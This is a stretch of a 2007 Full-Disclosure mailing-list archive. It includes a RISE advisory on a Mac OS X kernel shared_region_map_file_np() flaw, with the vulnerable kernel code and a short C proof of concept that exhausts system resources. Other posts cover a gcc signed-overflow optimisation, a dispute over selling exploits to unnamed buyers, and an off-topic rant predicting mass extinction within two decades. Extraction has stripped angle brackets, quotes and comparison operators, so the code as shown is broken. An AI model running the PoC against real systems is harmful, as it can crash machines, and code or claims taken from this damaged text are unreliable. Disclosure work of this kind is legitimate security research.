Re: [Full-disclosure] Wikipedia and Pedophilia
In epistula a V Vendetta [EMAIL PROTECTED] die horaque Fri, 19 Jan 2007 13:29:53 -0800 (PST): Full Dislosure: Wikipedia (...) Also, I apologize for my english - as it is only my second language. The Wikipedia ideology is like communism - all the people working together in harmony - it sounds like... Peace. It's idealism at its highest level. no, the wikipedia ideology is NOT like communism. i even doubt they have something like an ideology. however, you should also apologize for your ranting about something (communism) you don't even know the basics of (i.e., it's definition). your superior system of capitalism destroys the planet for long time now. at least, we're getting at an end as climate change (carbon dioxide, methan, etc.) leads to mass extinctions within the next two decades (at a maxmimum) due to 'the weather being reconfigured around the planet'. so in future those who cause this won't be able to satisfy their needs on burgers, hot dogs etc., thus not being able to drive their SUVs. nature will win :) most interesting, alas Cuba is on its way to communism (no, it is no communism there, this is socialism, the first step to) is the only country with sustainable development (*although* the US put an embargo on them *decades* ago): http://www.panda.org/news_facts/publications/key_publications/living_planet_report/index.cfm capitalism is about exponential, endless growth; the physician will say that this is not possible because the universe is not endless. the doctor will tell you that the only thing that achieves this is: cancer. (which, as capitalism, is its own murderer :) (...) V haef phun, t. - at least anticapitalist and still waiting for a _single_ democracy that works as the definition says. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [RISE-2007001] Apple Mac OS X 10.4.x kernel shared_region_map_file_np() memory corruption vulnerability
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
RISE-2007001
Apple Mac OS X 10.4.x kernel shared_region_map_file_np() memory corruption
vulnerability
Released: January 19, 2007
Last updated: January 19, 2007
INTRODUCTION
There exists a vulnerability within a function of the Apple Mac OS X 10.4.x
kernel (Apple Mac OS X 1.4.8 and lower), which when properly exploited
can lead
to local compromise of the vulnerable system.
This vulnerability was confirmed by us in the up-to-date Apple Mac OS X
1.4.8
(8L2127).
DETAILS
The kernel provides a mechanism for system-wide memory sharing, the Shared
Memory Server subsystem. Using this facility, both the kernel and user
programs
can share code and data among all tasks on the system. It is also
possible to
give one or more tasks private versions of the shared memory.
shared_region_map_file_np() is used by dyld to map parts of a split-segment
library in the global shared read-only and read-write regions. dyld
parses the
load commands in the library file and prepares an array of shared region
mapping
structures, each of which specifies the address, size, and protection
values of
a single mapping. It passes this array along with an open file
descriptor for
the library to shared_region_map_file_np(), which attempts to establish
each of
the requested mappings. shared_region_map_file_np() also takes as an
argument a
pointer to an address variable: If the pointer is non-NULL and the requested
mappings cannot fit in the target address space as desired, the kernel will
attempt to slide (move around) the mappings to make them fit. The resultant
slide value is returned in the address variable. If the pointer is NULL
instead,
the call returns an error without attempting to slide.
This vulnerability can be triggered by calling the
shared_region_map_file_np()
system call with a high mapping_count value, which due to lack of bounds
checking will result in the consumption of all available operating system
resources.
This is part of the vulnerable function from Apple Mac OS X 1.4.8.
/*
* Get the list of mappings the caller wants us to establish.
*/
mapping_count = uap-mappingCount; /* the number of mappings */
mappings_size = (vm_size_t) (mapping_count * sizeof (mappings[0]));
if (mapping_count == 0) {
SHARED_REGION_TRACE(
SHARED_REGION_TRACE_INFO,
(shared_region: %p [%d(%s)] map_file(%p:'%s'):
no mappings\n,
current_thread(), p-p_pid, p-p_comm,
vp, vp-v_name));
error = 0; /* no mappings: we're done ! */
goto done;
} else if (mapping_count = SFM_MAX_STACK) {
mappings = stack_mappings[0];
} else {
if ((mach_vm_size_t) mappings_size !=
(mach_vm_size_t) mapping_count * sizeof (mappings[0])) {
/* 32-bit integer overflow */
error = EINVAL;
goto done;
}
kr = kmem_alloc(kernel_map,
(vm_offset_t *) mappings,
mappings_size);
A little proof of concept code that triggers this vulnerability can be found
in appendix section of this document.
VENDOR
Vendor was notified, as this is not a critical vulnerability, proper
corrections
should be available soon.
CREDITS
This vulnerability was discovered by Adriano Lima
[EMAIL PROTECTED].
REFERENCES
[1] Mac OS X Internals: A Systems Approach By Amit Singh
DISCLAIMER
The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.
APPENDIX
osx-x86-shared.c
#include stdio.h
#include stdlib.h
#include fcntl.h
#include sys/syscall.h
#include unistd.h
int main(int argc,char **argv){
int fd;
if((fd=open(/usr/lib/libSystem.dylib,O_RDONLY))==-1){
perror(open);
exit(EXIT_FAILURE);
}
if(syscall(SYS_shared_region_map_file_np,fd,0x0200,NULL,NULL)==-1){
perror(shared_region_map_file_np);
exit(EXIT_FAILURE);
}
exit(EXIT_FAILURE);
}
$Id: RISE-2007001.txt 3 2007-01-19 23:07:37Z ramon $
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQFFsVQrhFjK78TGSUERAgE+AKCAdZW2G8SIINp9xIZ6bbMsRMvi1QCfamDW
nZPrfyrojGHTZGIOvFJ8z1g=
=3RY9
-END PGP SIGNATURE-
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE
So, Let's say I know how to bypass the alarm to your house. Should I put it up for sale and not worry about who buys it or why because it is none of my business? Its people like you who give the security profession a bad name. Mario - Original Message From: Simon Smith [EMAIL PROTECTED] To: Roman Medina-Heigl Hernandez [EMAIL PROTECTED]; Untitled full-disclosure@lists.grok.org.uk Cc: bugtraq@securityfocus.com Sent: Thursday, January 18, 2007 2:27:06 PM Subject: Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE Oh, About your ROI question, that varies per buyer. I am not usually told about why a buyer needs something as that's none of my business. On 1/18/07 4:22 AM, Roman Medina-Heigl Hernandez [EMAIL PROTECTED] wrote: Simon Smith escribió: Amen! KF is 100% on the money. I can arrange the legitimate purchase of most working exploits for significantly more money than iDefense, In some cases over $75,000.00 per purchase. The company that I am working with has a relationship with a legitimate buyer, all transactions are legal. If you're naive I was wondering which kind of (legal) enterprises/organizations would pay $75000 for a simple (or not so simple) exploit. - governmental organizations (defense? DoD? FBI? ...) - firms offering high-profiled pen-testing services? - ... ? What about the ROI for such investment? /naive Regards, -Roman ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Do you Yahoo!? Everyone is raving about the all-new Yahoo! Mail beta. http://new.mail.yahoo.com___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Atom Database
The purpose of this database is to collect and discuss useful attack snippets (atoms) which can be employed when performing WEB Application Security testing. http://www.gnucitizen.org/topics/atom-database -- pdp (architect) | petko d. petkov http://www.gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE
Mario, What Netragard is doing is in fact not nearly as naive as what you are proposing. In fact, what Netragard is doing will most probably help ³alarm companies² in the future. On 1/20/07 7:10 AM, Mario D [EMAIL PROTECTED] wrote: So, Let's say I know how to bypass the alarm to your house. Should I put it up for sale and not worry about who buys it or why because it is none of my business? Its people like you who give the security profession a bad name. Mario - Original Message From: Simon Smith [EMAIL PROTECTED] To: Roman Medina-Heigl Hernandez [EMAIL PROTECTED]; Untitled full-disclosure@lists.grok.org.uk Cc: bugtraq@securityfocus.com Sent: Thursday, January 18, 2007 2:27:06 PM Subject: Re: [Full-disclosure] iDefense Q-1 2007 Challenge -I WILL BUY FOR MORE Oh, About your ROI question, that varies per buyer. I am not usually told about why a buyer needs something as that's none of my business. On 1/18/07 4:22 AM, Roman Medina-Heigl Hernandez [EMAIL PROTECTED] wrote: Simon Smith escribió: Amen! KF is 100% on the money. I can arrange the legitimate purchase of most working exploits for significantly more money than iDefense, In some cases over $75,000.00 per purchase. The company that I am working with has a relationship with a legitimate buyer, all transactions are legal. If you're naive I was wondering which kind of (legal) enterprises/organizations would pay $75000 for a simple (or not so simple) exploit. - governmental organizations (defense? DoD? FBI? ...) - firms offering high-profiled pen-testing services? - ... ? What about the ROI for such investment? /naive Regards, -Roman ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Everyone is raving about the all-new Yahoo! Mail beta. http://us.rd.yahoo.com/evt=45083/*http://advision.webevents.yahoo.com/mailbet a ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Wikipedia and Pedophilia
Full Dislosure: Wikipedia Voil?! In view, a humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of Fate. This visage, no mere veneer of vanity, is a vestige of the vox populi, now vacant, vanished. However, this valorous visitation of a by-gone vexation, stands vivified and has vowed to vanquish these venal and virulent vermin van-guarding vice and vouchsafing the violently vicious and voracious violation of volition. Whoa! [EMAIL PROTECTED] wuz c0ll ! Also, I apologize for my english - as it is only my second language. No way dude! Wonder what great literary achievements the world will never set their eyes upon. V This sig, dear sir, is _PURE_ genius. -v3dt3n (Of course, this is no match to your immensely witty alternative) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Multiple OS kernel insecure handling of stdio file descriptor
SP == Shiva Persaud [EMAIL PROTECTED] writes: XFOCUS team (http://www.xfocus.org/) had discovered Multiple OS kernel insecure handling of stdio file descriptor. === Affected OS Version AIX 5.3 SP The AIX Security Team can be reached at [EMAIL PROTECTED] SP We have investigated this issue and AIX is not affected. A privileged SP process will not inherit closed file descriptors for stdio, stdout and SP stderr. well, but what is used for stdout if it's closed in the parent process just before fork(2) call?! -- Yours sincerely, Eugeny. Doctor Web, Ltd. http://www.drweb.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] code release: cryptographic attack tool
On Sun, 14 Jan 2007, Neil Kettle wrote: Solving the resultant formula, and hence *breaking* MD5 (computing collisions, invariant IV's [which has already been done by similar techniques], etc..) is equivalent to SAT, and thus NP-Complete requiring exponential time by conjecture. It is obvious the problem (cracking MD5) can be reduced to SAT. But can you reduce SAT to the problem? I am afraid it is impossible. (CNF formulas of arbitrary complexity vs. a linear chain of fixed width linking multiple instances of a fixed logical circuit. Who wins?) --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ] Resistance is futile. Open your source code and prepare for assimilation. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Multiple OS kernel insecure handling of stdio file descriptor
SP The AIX Security Team can be reached at [EMAIL PROTECTED] SP We have investigated this issue and AIX is not affected. A privileged SP process will not inherit closed file descriptors for stdio, stdout and SP stderr. well, but what is used for stdout if it's closed in the parent process just before fork(2) call?! I don't know what's the case for AIX, but the typical fix for this vulnerability is to reopen stdout and stderr to /dev/null for setuid processes ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Major gcc 4.1.1 and up security issue
On Mon, 15 Jan 2007, Felix von Leitner wrote:
int foo(int a) {
assert((int)(a+100) 0);
printf(%d %d\n,a+100,a);
return a;
}
The assert() here is quite different from the code you published on the
web where the condition reads (a+100 a).
Now you might think that it's just assert, we use if and we are safe.
No, assert() is just a macro that turns into if. The whole assert code
gets removed here, you won't see a trace of the whole overflow check in
the disassembly.
Let's have a look at the code with ((int)(a+100) 0) because it will
provide a better insight into the problem.
Here is the i386 machine code produced by GCC 4.1.1 without any options:
080483d4 foo:
80483d4: 55 push %ebp
80483d5: 89 e5 mov%esp,%ebp
80483d7: 83 ec 18sub$0x18,%esp
80483da: 83 7d 08 9c cmpl $0xff9c,0x8(%ebp) (1)
80483de: 7f 24 jg 8048404 foo+0x30 (2)
80483e0: c7 44 24 0c 08 85 04movl $0x8048508,0xc(%esp) (3)
80483e7: 08
80483e8: c7 44 24 08 05 00 00movl $0x5,0x8(%esp)
80483ef: 00
80483f0: c7 44 24 04 0c 85 04movl $0x804850c,0x4(%esp)
80483f7: 08
80483f8: c7 04 24 10 85 04 08movl $0x8048510,(%esp)
80483ff: e8 f0 fe ff ff call 80482f4 [EMAIL PROTECTED]
8048404: 8b 55 08mov0x8(%ebp),%edx (4)
8048407: 83 c2 64add$0x64,%edx
804840a: 8b 45 08mov0x8(%ebp),%eax
804840d: 89 44 24 08 mov%eax,0x8(%esp)
8048411: 89 54 24 04 mov%edx,0x4(%esp)
8048415: c7 04 24 21 85 04 08movl $0x8048521,(%esp)
804841c: e8 f3 fe ff ff call 8048314 [EMAIL PROTECTED]
8048421: 8b 45 08mov0x8(%ebp),%eax
8048424: c9 leave
8048425: c3 ret
Instructions marked with (1) and (2) implement the conditional branching.
Instructions starting at (3) call __assert_fail().
This is the assert().
The check is interesting. It does not look as the original condition,
ie. ((int)(a+100) 0) at the first glance. Let's examine it:
- (1) compares the value of a with 0xff9c = -100
- (2) jumps to (4) if the value of a was greater than -100
In other words, the compiler subtracted 100 from both sides of
the comparison and translated it into (a -100).
This optimization (*) is ok as long as no overflow occurs during the
evaluation of the original condition. It modifies its semantics when
integer overflows are involved but this is acceptable because the result
of an overflowing arithmetic operation on signed integers is undefined.
A program expecting (a+100) = 0 when a is signed int and a = INT_MAX-100
is and has always been broken.
I opened a gcc bug for this. They told me that the C standard says
integer overflow for signed integers in undefined and therefore gcc is
right in doing this.
Let's return to assert(a+100 a). Now it is obvious what happened:
the compiler subtracted a from both sides of the comparison and got
100 0. This condition is always true therefore it optimized the
assert() away (**).
Again, the program is and has always broken because it relies on
undefined behaviour.
(*) It is somewhat odd the compiler does it without any -On option
for n 0. It is probably considered to be a kind of constant folding.
(**) We can see dead code elimination is another kind of optimization GCC
performs without asking.
I'm saying this will break tons of security checks in existing
applications and will get people to get 0wned. Please help make the gcc
people fix this!
Helping people fix their broken code and teach them how to write
correct code might be more productive imho. :P
--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
Resistance is futile. Open your source code and prepare for assimilation.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
